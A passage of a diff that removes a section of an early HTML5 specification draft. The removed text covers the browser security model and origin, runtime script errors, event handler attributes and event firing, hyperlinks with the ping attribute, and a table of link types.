-   executing, the oldest entry in the queue must be processed, either by
-   firing the appropriate event, or by executing the relevant timer callback
-   code.
-
-  <h4 id=scripting-security><span class=secno>4.2.4. </span>The security
-   model</h4>
-  <!-- https://bugzilla.mozilla.org/show_bug.cgi?id=346659 -->
-
-  <p><em>Web browser vendors should implement this security model, to provide
-   Web authors with a consistent development environment that is
-   interoperable across different implementations. However, implementors may
-   use any other model if desired.</em>
-
-  <p>The security model for Web browsers has grown organically with the
-   development of the Web, and as such is somewhat unique.
-
-  <p>Access to resources and APIs is granted or denied to Web content
-   (scripts, elements, etc) based on the content's <dfn
-   id=origin>origin</dfn>. For historical reasons, the mechanism for
-   determining the <em><a href="#origin">origin</a></em> of a particular
-   piece of content depends on the nature of the content.
-
-  <p class=big-issue>...</p>
-  <!--
- XXX this is a very confused section, so I've commented it out
-
-  <p>For <code>Document</code>s:</p>
-
-  <dl class="switch">
-
-   <dt>If it was served over the network using HTTP, HTTPS, FTP, or
-   another protocol whose scheme contains a <em>host authority
-   component</em>:</dt>
-
-   <dd>
-
-    <p>The resource's origin consists of the scheme, host, and port
-    parts of the resource's full URI.</p>
-
-    <p class="example">For example, if a Web page has the address
-    <code>https://www.example.com/demo.html</code>, the origin
-    consists of the tuple "https", "www.example.com", and "443".</p>
-
-   </dd>
-
-   <dt>If it was created by script...</dt>
-
-   <dd>
-
-    <p>The resource's origin consists of the scheme, host, and port
-    parts of the resource's full URI.</p>
-
-    <p class="example">For example, if a Web page has the address
-    <code>https://www.example.com/demo.html</code>, the origin
-    consists of the tuple "https", "www.example.com", and "443".</p>
-
-   </dd>
-
-
-   <dt>A document resource (a <code>Document</code>) that was served
-   over the network using HTTP, HTTPS, FTP, or another protocol whose
-   scheme contains a <em>host authority component</em>:</dt>
-
-   <dd>
-
-    <p>The resource's origin consists of the scheme, host, and port
-    parts of the resource's full URI.</p>
-
-    <p class="example">For example, if a Web page has the address
-    <code>https://www.example.com/demo.html</code>, the origin
-    consists of the tuple "https", "www.example.com", and "443".</p>
-
-   </dd>
-
-   <dt>If the content was generated by script:</dt>
-
-   <dd>The content shares the same origin as the script itself.</dd>
-
-   <dt>If the content was generated by 
-
-  </dl>
-
-
-   what other kinds of content do we care about the origin of?
-   images, for the purpose of <canvas>?
-   Window objects?
--->
-
-  <p>The <dfn id=domain0 title="document's domain">domain of a
-   <code>Document</code> object</dfn> is the domain given by the
-   <code>hostname</code> attribute of the <code><a
-   href="#location1">Location</a></code> object returned by the
-   <code>Document</code> object's <code title=dom-document-location><a
-   href="#location0">location</a></code> attribute, <em>if</em> that
-   <code>hostname</code> attribute is not the empty string. <span
-   class=big-issue>If it is, the domain of the document is UA-defined. For
-   now.</span> <!-- XXX data: and javascript: URIs
-  should be relative to the spawning DocumentUI, but we need to make
-  sure that's a defined concept first. -->
-   <span class=big-issue>Need to be more correct about where .location is
-   defined. It's not actually on Document.</span>
-
-  <p>The <dfn id=domain1 title="script's domain">domain of a script</dfn> is
-   the <a href="#domain0" title="document's domain">domain of the
-   <code>Document</code> object</a> that is returned by the <code
-   title=dom-document>document</code> attribute of the script's primary
-   <code>Window</code> object (in UAs that implement ECMAScript, <a
-   href="#globalScopeObject">that is the global scope object</a>).</p>
-  <!-- scripting context? -->
-
-  <p><dfn id=the-string>The string representing the script's domain in IDNA
-   format</dfn> is obtained as follows: take the <a href="#domain1">script's
-   domain</a> and apply the IDNA ToASCII algorithm and then the IDNA
-   ToUnicode algorithm to each component of the domain name (with both the
-   AllowUnassigned and UseSTD3ASCIIRules flags set both times). <a
-   href="#refsRFC3490">[RFC3490]</a> If ToASCII fails to convert one of the
-   components of the string, e.g. because it is too long or because it
-   contains invalid characters, then the string representing the script's
-   domain in IDNA format cannot be obtained. (ToUnicode is defined to never
-   fail.)
-
-  <p class=big-issue>This section is <em>so</em> not complete.
-
-  <p class=big-issue>Define <dfn id=security2>security exception</dfn>.
-
-  <h4 id=javascript><span class=secno>4.2.5. </span><code>javascript:</code>
-   URIs</h4>
-
-  <p class=big-issue>What's the scripting context for javascript: URIs in
-   AMPERSANDlt;img src>, AMPERSANDlt;iframe src>, AMPERSANDlt;location.href>, AMPERSANDlt;a href>, @import,
-   background-image, etc?
-
-  <h4 id=runtime-script-errors><span class=secno>4.2.6. </span>Runtime script
-   errors</h4>
-
-  <p>Whenever a runtime script error occurs in one of the scripts associated
-   with the document, the value of the <dfn
-   id=onerror><code>onerror</code></dfn> attribute of the <code>window</code>
-   object (defined on the <code><a href="#windowhtml">WindowHTML</a></code>
-   interface of that object), must be processed, as follows:
-
-  <dl class=switch>
-   <dt>If the value is a function
-
-   <dd>
-    <p>The function referenced by the <code><a
-     href="#onerror">onerror</a></code> attribute must be invoked with three
-     arguments, before notifying the user of the error.</p>
-
-    <p>The three arguments passed to the function are all
-     <code>DOMString</code>s; the first must give the message that the UA is
-     considering reporting, the second must give the URI to the resource in
-     which the error occured, and the third must give the line number in that
-     resource on which the error occured.</p>
-
-    <p>If the function returns false, then the error should not be reported
-     to the user. Otherwise, if the function returns another value (or does
-     not return at all), the error should be reported to the user.</p>
-
-    <p>Any exceptions thrown or errors caused by this function must be
-     reported to the user immediately after the error that the function was
-     called for, without calling the function again.</p>
-
-   <dt>If the value is <code>null</code>
-
-   <dd>
-    <p>The error should not reported to the user.</p>
-
-   <dt>If the value is anything else
-
-   <dd>
-    <p>The error should be reported to the user.</p>
-  </dl>
-
-  <p>The initial value of <code><a href="#onerror">onerror</a></code> must be
-   <code>undefined</code>.
-
-  <h4 id=events><span class=secno>4.2.7. </span>Events</h4>
-
-  <h5 id=event-handler-attributes><span class=secno>4.2.7.1. </span>Event
-   handler attributes</h5>
-
-  <p><a href="#html-elements">HTML elements</a> can have event handler
-   attributes specified. These act as bubbling event listeners for the
-   element on which they are specified.
-
-  <p>Each event handler attribute has two parts, an <a href="#event1"
-   title="event handler content attributes">event handler content
-   attribute</a> and an <a href="#event2" title="event handler DOM
-   attributes">event handler DOM attribute</a>. Event handler attributes must
-   initially be set to null. When their value changes (through the changing
-   of their event handler content attribute or their event handler DOM
-   attribute), they will either be null, or have an
-   <code>EventListener</code> object assigned to them.
-
-  <p id=js-function-listener>In the ECMAScript DOM binding, the ECMAScript
-   native <code>Function</code> type must implement the
-   <code>EventListener</code> interface such that invoking the
-   <code>handleEvent()</code> method of that interface on the object from
-   another language binding invokes the function itself, with the
-   <code>event</code> argument as its only argument. In the ECMAScript
-   binding itself, however, the <code>handleEvent()</code> method of the
-   interface is not directly accessible on <code>Function</code> objects.
-   Such functions, when invoked, must be called in the global
-   scope<!-- XXX which global scope? -->. If the function returns false, the
-   event's <code>preventDefault()</code> method must then invoked. Exception:
-   for historical reasons, for the HTML <code>mouseover</code> event, the
-   <code>preventDefault()</code> method must be called when the function
-   returns true instead.
-
-  <p><dfn id=event1>Event handler content attributes</dfn>, when specified,
-   must contain valid ECMAScript code matching the ECMAScript <code
-   title="">FunctionBody</code> production. <a
-   href="#refsECMA262">[ECMA262]</a>
-
-  <p class=issue>How do we allow non-JS event handlers?
-
-  <p>When an event handler content attribute is set, its new value must be
-   interpreted as the body of an anonymous function with a single argument
-   called <code>event</code>, with the new function's scope chain being
-   linked from the activation object of the handler, to the element, to the
-   element's <code>form</code> element if it is a form control, to the
-   <code>Document</code> object, to the <span>global scope</span>. The
-   function's <code>this</code> parameter must be the <code>Element</code>
-   object representing the element. The resulting function must then be set
-   as the value of the corresponding event handler attribute, and the new
-   value must be set as the value of the content attribute. If the given
-   function body fails to compile, then the corresponding event handler
-   attribute must be set to null instead (the content attribute must still be
-   updated to the new value, though).
-
-  <p class=note>See ECMA262 Edition 3, sections 10.1.6 and 10.2.3, for more
-   details on activation objects. <a href="#refsECMA262">[ECMA262]</a>
-
-  <p><dfn id=event2>Event handler DOM attributes</dfn>, on setting, must set
-   the corresponding event handler attribute to their new value, and on
-   getting, must return whatever the current value of the corresponding event
-   handler attribute is (possibly null).
-
-  <p>The following are the event handler attributes that must be supported by
-   all <a href="#html-elements">HTML elements</a>, as both content attributes
-   and DOM attributes:
-
-  <dl>
-   <dt><dfn id=onclick title=handler-onclick><code>onclick</code></dfn>
-
-   <dd>Must be invoked whenever a <code title=event-click>click</code> event
-    is targetted at or bubbles through the element.
-
-   <dt>...more events...
-  </dl>
-
-  <h5 id=event><span class=secno>4.2.7.2. </span>Event firing</h5>
-
-  <p class=big-issue>maybe _this_ should be moved higher up (terminology?
-   conformance? DOM?)
-
-  <p>Certain operations and methods are defined as firing events on elements.
-   For example, the <code title=dom-click><a href="#click">click()</a></code>
-   method on the <code><a href="#htmlelement">HTMLElement</a></code>
-   interface is defined as firing a <code title=event-click>click</code>
-   event on the element. <a href="#refsDOM3EVENTS">[DOM3EVENTS]</a>
-
-  <p><dfn id=firing title="fire a click event">Firing a <code
-   title=event-click>click</code> event</dfn> means that a <a
-   href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#event-click"><code>click</code></a>
-   event in the <code>http://www.w3.org/2001/xml-events</code> namespace,
-   which bubbles and is cancelable, and which uses the
-   <code>MouseEvent</code> interface, must be dispatched at the given
-   element. The event object must have its <code title="">screenX</code>,
-   <code title="">screenY</code>, <code title="">clientX</code>, <code
-   title="">clientY</code>, and <code title="">button</code> attributes set
-   to 0, its <code title="">ctrlKey</code>, <code title="">shiftKey</code>,
-   <code title="">altKey</code>, and <code title="">metaKey</code> attributes
-   set according to the current state of the key input device, if any (false
-   for any keys that are not available), its <code title="">detail</code>
-   attribute set to 1, and its <code title="">relatedTarget</code> attribute
-   set to null. The <code title="">getModifierState()</code> method on the
-   object must return values appropriately describing the state of the key
-   input device at the time the event is created.
-
-  <p><dfn id=firing0 title="fire a change event">Firing a <code
-   title=event-change>change</code> event</dfn> means that a <a
-   href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#event-change"><code>change</code></a>
-   event in the <code>http://www.w3.org/2001/xml-events</code> namespace,
-   which bubbles but is not cancelable, and which uses the <code>Event</code>
-   interface, must be dispatched at the given element. The event object must
-   have its <code title="">detail</code> attribute set to 0.
-
-  <p><dfn id=firing1 title="fire a contextmenu event">Firing a <code
-   title=event-contextmenu>contextmenu</code> event</dfn> means that a <code
-   title=event-contextmenu>contextmenu</code> event in the
-   <code>http://www.w3.org/2001/xml-events</code> namespace, which bubbles
-   and is cancelable, and which uses the <code>Event</code> interface, must
-   be dispatched at the given element. The event object must have its <code
-   title="">detail</code> attribute set to 0.
-
-  <p><dfn id=firing2 title="fire a simple event">Firing a simple event called
-   <var title="">e</var></dfn> means that an event with the name <var
-   title="">e</var>, in the <code>http://www.w3.org/2001/xml-events</code>
-   namespace, which does not bubble but is cancelable, and which uses the
-   <code>Event</code> interface, must be dispatched at the given element. The
-   event object must have its <code title="">detail</code> attribute set to
-   0.
-
-  <p><dfn id=firing3 title="fire a show event">Firing a <code
-   title=event-show>show</code> event</dfn> means <a href="#firing2"
-   title="fire a simple event">firing a simple event called <code
-   title=event-show>show</code></a>. <dfn id=firing4 title="fire a load
-   event">Firing a <code title=event-load>load</code> event</dfn> means <a
-   href="#firing2" title="fire a simple event">firing a simple event called
-   <code title=event-load>load</code></a>. <dfn id=firing5 title="fire an
-   error event">Firing an <code title=event-error>error</code> event</dfn>
-   means <a href="#firing2" title="fire a simple event">firing a simple event
-   called <code title=event-error>error</code></a>.</p>
-  <!-- XXX need to define the dispatching of DOMActivate -->
-
-  <p>The default action of these event is to do nothing unless otherwise
-   stated.
-
-  <p class=big-issue>If you dispatch a custom "click" event at an element
-   that would normally have default actions, they should get triggered. We
-   need to go through the entire spec and make sure that any default actions
-   are defined in terms of <em>any</em> event of the right type on that
-   element, not those that are dispatched in expected ways.
-
-  <h5 id=event-handling><span class=secno>4.2.7.3. </span>Event handling</h5>
-
-  <p class=big-issue>We need a section to define how events all work, default
-   actions, etc. For example, how does clicking on a span in a link that is
-   in another link actually cause a link to be followed? which one? (where
-   should this section be?)
-
-  <h3 id=links><span class=secno>4.3. </span>Links</h3>
-
-  <h4 id=hyperlink><span class=secno>4.3.1. </span>Hyperlink elements</h4>
-
-  <p>The <code><a href="#a0">a</a></code>, <code><a
-   href="#area0">area</a></code>, and <code><a href="#link0">link</a></code>
-   elements can, in certain situations described in the definitions of those
-   elements, represent <dfn id=hyperlinks title=hyperlink>hyperlinks</dfn>.
-
-  <p>The <dfn id=href5 title=attr-hyperlink-href><code>href</code></dfn>
-   attribute on a hyperlink element must have a value that is a URI (or IRI).
-   This URI is the <em>destination resource</em> of the hyperlink.
-
-  <div class=note>
-   <p>The <code title="">href</code> attribute on <code><a
-    href="#a0">a</a></code> and <code><a href="#area0">area</a></code>
-    elements is not required; when those elements do not have <code
-    title="">href</code> attributes they do not represent hyperlinks.</p>
-
-   <p>The <code title=attr-link-href><a href="#href1">href</a></code>
-    attribute on the <code><a href="#link0">link</a></code> element
-    <em>is</em> required, but whether a <code><a
-    href="#link0">link</a></code> element represents a hyperlink or not
-    depends on the value of the <code title=attr-link-rel><a
-    href="#rel">rel</a></code> attribute of that element.</p>
-  </div>
-
-  <p>For <code><a href="#a0">a</a></code> and <code><a
-   href="#area0">area</a></code> elements that represent hyperlinks, the
-   relationship between the document containing the hyperlink and the
-   destination resource indicated by the hyperlink is given by the value of
-   the element's <dfn id=rel3 title=attr-hyperlink-rel><code>rel</code></dfn>
-   attribute. The <a href="#linkTypes">allowed values and their meanings</a>
-   are defined below. The <code title=attr-hyperlink-rel><a
-   href="#rel3">rel</a></code> attribute has no default value. If the
-   attribute is omitted or if none of the values in the attribute are
-   recognised by the UA, then the document has no particular relationship
-   with the destination resource other than there being a hyperlink between
-   the two.
-
-  <p>The <dfn id=media5 title=attr-hyperlink-media><code>media</code></dfn>
-   attribute describes for which media the target document was designed. It
-   is purely advisory. The value must be a valid media query. <a
-   href="#refsMQ">[MQ]</a> The default, if the <code
-   title=attr-hyperlink-media><a href="#media5">media</a></code> attribute is
-   omitted or has an invalid value, is <code>all</code>.
-
-  <p>The <dfn id=hreflang3
-   title=attr-hyperlink-hreflang><code>hreflang</code></dfn> attribute on
-   hyperlink elements, if present, gives the language of the linked resource.
-   It is purely advisory. The value must be a valid RFC 3066 language code.
-   <a href="#refsRFC3066">[RFC3066]</a> User agents must not consider this
-   attribute authoritative AMPERSANDmdash; upon fetching the resource, user agents
-   must only use language information associated with the resource to
-   determine its language, not metadata included in the link to the resource.
-
-  <p>The <dfn id=type14 title=attr-hyperlink-type><code>type</code></dfn>
-   attribute, if present, gives the MIME type of the linked resource. It is
-   purely advisory. The value must be a valid MIME type, optionally with
-   parameters. <a href="#refsRFC2046">[RFC2046]</a> User agents must not
-   consider the <code title=attr-hyperlink-type><a
-   href="#type14">type</a></code> attribute authoritative AMPERSANDmdash; upon
-   fetching the resource, user agents must only use <a href="#content-type1"
-   title=Content-Type>the Content-Type information associated with the
-   resource</a> to determine its type, not metadata included in the link to
-   the resource.
-
-  <p>The <dfn id=ping title=attr-hyperlink-ping><code>ping</code></dfn>
-   attribute, if present, gives the URIs of the resources that are interested
-   in being notified if the user follows the hyperlink. The value must be a
-   space separated list of one or more URIs. The value is used by the user
-   agent when <a href="#following1">following hyperlinks</a>.
-
-  <h4 id=following><span class=secno>4.3.2. </span><dfn
-   id=following1>Following hyperlinks</dfn></h4>
-
-  <p class=big-issue><a href="#following1" title="following
-   hyperlinks">following hyperlinks</a> defined here</p>
-  <!-- XXX default action of DOMActivate -->
-  <!-- (doing this for 'trusted' events only must be allowed) -->
-
-  <p>If an <code><a href="#a0">a</a></code> or <code><a
-   href="#area0">area</a></code> hyperlink element has a <code
-   title=attr-hyperlink-ping><a href="#ping">ping</a></code> attribute and
-   the user follows the hyperlink, the user agent must take the <code
-   title=attr-hyperlink-ping><a href="#ping">ping</a></code> attribute's
-   value, strip leading and trailing <a href="#space" title="space
-   character">spaces</a>, split the value on sequences of spaces, treat each
-   resulting part as a URI (resolving relative URIs according to element's
-   base URI) and then should send a request to each of the resulting URIs.
-   This may be done in parallel with the primary request, and is independent
-   of the result of that request.
-
-  <p>User agents should allow the user to adjust this behaviour, for example
-   in conjunction with a setting that disables the sending of HTTP Referrer
-   headers. Based on the user's preferences, UAs may either <a
-   href="#ignored">ignore</a> the <code title=attr-hyperlink-ping><a
-   href="#ping">ping</a></code> attribute altogether, or selectively ignore
-   URIs in the list (e.g. ignoring any third-party URIs).
-
-  <p>For URIs that are HTTP URIs, the requests must be performed using the
-   POST method (with an empty entity body in the request). User agents must
-   ignore any entity bodies returned in the responses, but must, unless
-   otherwise specified by the user, honour the HTTP headers AMPERSANDmdash; in
-   particular, HTTP cookie headers. <a href="#refsRFC2965">[RFC2965]</a>
-
-  <p class=note>To save bandwidth, implementors might wish to consider
-   omitting optional headers such as <code>Accept</code> from these requests.
-
-  <p>When the <code title=attr-hyperlink-ping><a href="#ping">ping</a></code>
-   attribute is present, user agents should clearly indicate to the user that
-   following the hyperlink will also cause secondary requests to be sent in
-   the background, possibly including listing the actual target URIs.
-
-  <div class=note>
-   <p>The <code title=attr-hyperlink-ping><a href="#ping">ping</a></code>
-    attribute is redundant with pre-existing technologies like HTTP redirects
-    and JavaScript in allowing Web pages to track which off-site links are
-    most popular or allowing advertisers to track click-through rates.</p>
-
-   <p>However, the <code title=attr-hyperlink-ping><a
-    href="#ping">ping</a></code> attribute provides these advantages to the
-    user over those alternatives:</p>
-
-   <ul>
-    <li>It allows the user to see the final target URI unobscured.
-
-    <li>It allows the UA to inform the user about the out-of-band
-     notifications.
-
-    <li>It allows the paranoid user to disable the notifications without
-     losing the underlying link functionality.
-
-    <li>It allows the UA to optimise the use of available network bandwidth
-     so that the target page loads faster.
-   </ul>
-
-   <p>Thus, while it is possible to track users without this feature, authors
-    are encouraged to use the <code title=attr-hyperlink-ping><a
-    href="#ping">ping</a></code> attribute so that the user agent can improve
-    <!-- XXX optimise? --> the user experience.</p>
-   <!--
-   XXX need a better way to end that sentence. It's what I mean, but
-   it sounds kooky. -->
-   </div>
-
-  <h4 id=linkTypes><span class=secno>4.3.3. </span>Link types</h4>
-
-  <p>The following table summarises the link types that are defined by this
-   specification. This table is non-normative; the actual definitions for the
-   link types are given in the next few sections.
-
-  <p>In this section, the term <em>referenced document</em> refers to the
-   resource identified by the element representing the link, and the term
-   <em>current document</em> refers to the resource within which the element
-   representing the link finds itself.
-
-  <table>
-   <thead>
-    <tr>
-     <th rowspan=2>Link type
-
-     <th colspan=2>Effect on...
-
-     <th rowspan=2>Brief description
-
-    <tr>
-     <th><code><a href="#link0">link</a></code>
-
-     <th><code><a href="#a0">a</a></code> and <code><a
-      href="#area0">area</a></code>
-
-   <tbody>
-    <tr>
-     <td><code title=rel-alternate><a href="#alternate0">alternate</a></code></td>
-     <!-- second most used <link rel> value -->
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Gives alternate representations of the current document.
-
-    <tr>
-     <td><code title=rel-archives><a href="#archives0">archives</a></code>
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Provides a link to a collection of records, documents, or other
-      materials of historical interest.
-
-    <tr>
-     <td><code title=rel-author><a href="#author0">author</a></code>
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Gives a link to the current document's author.
-
-    <tr>
-     <td><code title=rel-bookmark><a href="#bookmark0">bookmark</a></code></td>
-     <!-- fourth most used <a rel> value -->
-
-     <td><em>not allowed</em>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Gives the permalink for the nearest ancestor section.
-
-    <tr>
-     <td><code title=rel-contact><a href="#contact0">contact</a></code></td>
-     <!-- 8th most used <a rel> value -->
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Gives a link to contact information for the current document.
-
-    <tr>
-     <td><code title=rel-external><a href="#external0">external</a></code></td>
-     <!-- fifth and sixth most used <a rel> value (sixth is "external nofollow") -->
-
-     <td><em>not allowed</em>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Indicates that the referenced document is not part of the same site
-      as the current document.
-
-    <tr>
-     <td><code title=rel-feed><a href="#feed0">feed</a></code>
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Gives the address of a syndication feed for the current document.
-
-    <tr>
-     <td><code title=rel-first><a href="#first0">first</a></code>
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Indicates that the current document is a part of a series, and that
-      the first document in the series is the referenced document.
-
-    <tr>
-     <td><code title=rel-help><a href="#help0">help</a></code>
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Provides a link to context-sensitive help.
-
-    <tr>
-     <td><code title=rel-icon><a href="#icon2">icon</a></code></td>
-     <!-- link rel="shortcut icon" and its ilk are the fourth, sixth, and ninth most used values -->
-
-     <td><a href="#links1" title="external resource link">External
-      Resource</a>
-
-     <td><em>not allowed</em>
-
-     <td>Imports an icon to represent the current document.
-
-    <tr>
-     <td><code title=rel-index><a href="#index0">index</a></code></td>
-     <!-- used more than "top" and "contents" on <link> (though on <a>, "contents" wins) -->
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Gives a link to the document that provides a table of contents or
-      index listing the current document.
-
-    <tr>
-     <td><code title=rel-last><a href="#last0">last</a></code>
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Indicates that the current document is a part of a series, and that
-      the last document in the series is the referenced document.
-
-    <tr>
-     <td><code title=rel-license><a href="#license0">license</a></code></td>
-     <!-- seventh most used <a rel> value -->
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Indicates that the current document is covered by the copyright
-      license described by the referenced document.
-
-    <tr>
-     <td><code title=rel-next><a href="#next0">next</a></code>
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Indicates that the current document is a part of a series, and that
-      the next document in the series is the referenced document.
-
-    <tr>
-     <td><code title=rel-nofollow><a href="#nofollow0">nofollow</a></code></td>
-     <!-- most used <a rel> value (and sixth most used is "external nofollow") -->
-
-     <td><em>not allowed</em>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Indicates that the current document's original author or publisher
-      does not endorse the referenced document.
-
-    <tr>
-     <td><code title=rel-pingback><a href="#pingback0">pingback</a></code>
-
-     <td><a href="#links1" title="external resource link">External
-      Resource</a>
-
-     <td><em>not allowed</em>
-
-     <td>Gives the address of the pingback server that handles pingbacks to
-      the current document.
-
-    <tr>
-     <td><code title=rel-prefetch><a href="#prefetch0">prefetch</a></code>
-
-     <td><a href="#links1" title="external resource link">External
-      Resource</a>
-
-     <td><em>not allowed</em>
-
-     <td>Specifies that the target resource should be pre-emptively cached.
-
-    <tr>
-     <td><code title=rel-prev><a href="#prev0">prev</a></code></td>
-     <!-- prev is used more than previous -->
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Indicates that the current document is a part of a series, and that
-      the previous document in the series is the referenced document.
-
-    <tr>
-     <td><code title=rel-search><a href="#search2">search</a></code></td>
-     <!-- used quite a bit -->
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Gives a link to a resource that can be used to search through the
-      current document and its related pages.
-
-    <tr>
-     <td><code title=rel-stylesheet><a
-      href="#stylesheet0">stylesheet</a></code></td>
-     <!-- most commonly used <link rel> value, variants came in 7th, 8th, 12th, 17th... -->
-
-     <td><a href="#links1" title="external resource link">External
-      Resource</a>
-
-     <td><em>not allowed</em>
-
-     <td>Imports a stylesheet.
-
-    <tr>
-     <td><code title=rel-sidebar><a href="#sidebar0">sidebar</a></code></td>
-     <!-- used quite a bit -->
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Specifies that the referenced document, if retrieved, is intended to
-      be shown in the browser's sidebar (if it has one).
-
-    <tr>
-     <td><code title=rel-tag><a href="#tag0">tag</a></code></td>
-     <!-- second and third most used <a rel> value (third is technically "category tag"). -->
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Gives a tag (identified by the given address) that applies to the
-      current document.
-
-    <tr>
-     <td><code title=rel-up><a href="#up0">up</a></code>
-
-     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>
-
-     <td><a href="#hyperlinks">Hyperlink</a>
-
-     <td>Provides a link to a document giving the context for the current
-      document.
-  </table>
-
-  <p>Some of the types described below list synonyms for these values. These
-   are to be handled as specified by user agents, but must not be used in
-   documents.</p>
-  <!--XXX
-
-  issues for rel="", etc:
-   rel="alternate stylesheet"
-   rel="script"
-   rel="related" // see also
-   which relationship combinations are allowed
-   what multiple values might mean (multiple <a rel="top"> in the same document)
-   http://www.euronet.nl/~tekelenb/WWW/LINK/
-   http://shift.freezope.org/konq_rellinks/development_html
-   http://hixie.ch/specs/html/link/001
-   http://hixie.ch/specs/html/link/002
-   http://www.hixie.ch/specs/html/metadata
-   what UAs are supposed to do with this
-   do something about http://microformats.org/wiki/rel-enclosure
-
-mpt says:
-> "As with <a> elements, when <link> elements that use these relationships    
-> are present, UAs should render them. As with <a> elements, when <link>
-> elements that use these relationships do not exist, UAs should not
-> render them. UAs should not make <link> rendering any easier to hide
-> than <a> rendering."
-  
-    -->
-
-  <h5 id=link-type><span class=secno>4.3.3.1. </span>Link type "<dfn
-   id=alternate0 title=rel-alternate><code>alternate</code></dfn>"</h5>
-
-  <p>The <code title=rel-alternate><a href="#alternate0">alternate</a></code>
-   keyword may be used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, if the
-   <code title=attr-link-rel><a href="#rel">rel</a></code> attribute does not
-   also contain the keyword <code title=rel-stylesheet><a
-   href="#stylesheet0">stylesheet</a></code>, it creates a <a
-   href="#hyperlink0" title="hyperlink link">hyperlink</a>; but if it
-   <em>does</em> also contains the keyword <code title=rel-stylesheet><a
-   href="#stylesheet0">stylesheet</a></code>, the <code
-   title=rel-alternate><a href="#alternate0">alternate</a></code> keyword
-   instead modifies the meaning of the <code title=rel-stylesheet><a
-   href="#stylesheet0">stylesheet</a></code> keyword in the way described for
-   that keyword, and the rest of this subsection doesn't apply.
-
-  <p>The <code title=rel-alternate><a href="#alternate0">alternate</a></code>
-   keyword indicates that the referenced document is an alternate
-   representation of the current document.
-
-  <p>The nature of the referenced document is given by the <code
-   title=attr-hyperlink-media><a href="#media5">media</a></code>, <code
-   title=attr-hyperlink-hreflang><a href="#hreflang3">hreflang</a></code>,
-   and <code title=attr-hyperlink-type><a href="#type14">type</a></code>
-   attributes.
-
-  <p>If the <code title=rel-alternate><a
-   href="#alternate0">alternate</a></code> keyword is used with the <code
-   title=attr-hyperlink-media><a href="#media5">media</a></code> attribute,
-   it indicates that the referenced document is intended for use with the
-   media specified.
-
-  <p>If the <code title=rel-alternate><a
-   href="#alternate0">alternate</a></code> keyword is used with the <code
-   title=attr-hyperlink-hreflang><a href="#hreflang3">hreflang</a></code>
-   attribute, it indicates that the referenced document is a translation.
-
-  <p>If the <code title=rel-alternate><a
-   href="#alternate0">alternate</a></code> keyword is used with the <code
-   title=attr-hyperlink-type><a href="#type14">type</a></code> attribute, it
-   indicates that the referenced document is a reformulation of the current
-   document in the specified format.
-
-  <p>If the <code title=rel-alternate><a
-   href="#alternate0">alternate</a></code> keyword is used with the <code
-   title=attr-hyperlink-type><a href="#type14">type</a></code> attribute set
-   to the value <code title="">application/rss+xml</code> or the value <code
-   title="">application/atom+xml</code>, then the user agent must treat the
-   link as it would if it had the <code title=rel-feed><a
-   href="#feed0">feed</a></code> keyword specified as well.
-
-  <p>The <code title=rel-alternate><a href="#alternate0">alternate</a></code>
-   link relationship is transitive AMPERSANDmdash; that is, if a document links to
-   two other documents with the link type "<code title=rel-alternate><a
-   href="#alternate0">alternate</a></code>", then, in addition to implying
-   that those documents are alternative representations of the first
-   document, it is also implying that those two documents are alternative
-   representations of each other.
-
-  <h5 id=link-type0><span class=secno>4.3.3.2. </span>Link type "<dfn
-   id=archives0 title=rel-archives><code>archives</code></dfn>"</h5>
-
-  <p>The <code title=rel-archives><a href="#archives0">archives</a></code>
-   keyword may be used with <code><a href="#link0">link</a></code>, <code><a
-   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>
-   elements. For <code><a href="#link0">link</a></code> elements, it creates
-   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.
-
-  <p>The <code title=rel-archives><a href="#archives0">archives</a></code>
-   keyword indicates that the referenced document describes a collection of
-   records, documents, or other materials of historical interest.
-
-  <p class=example>A blog's index page could link to an index of the blog's
-   past posts with <code title="">rel="archives"</code>.
-
-  <p><strong>Synonyms</strong>: For historical reasons, user agents must also
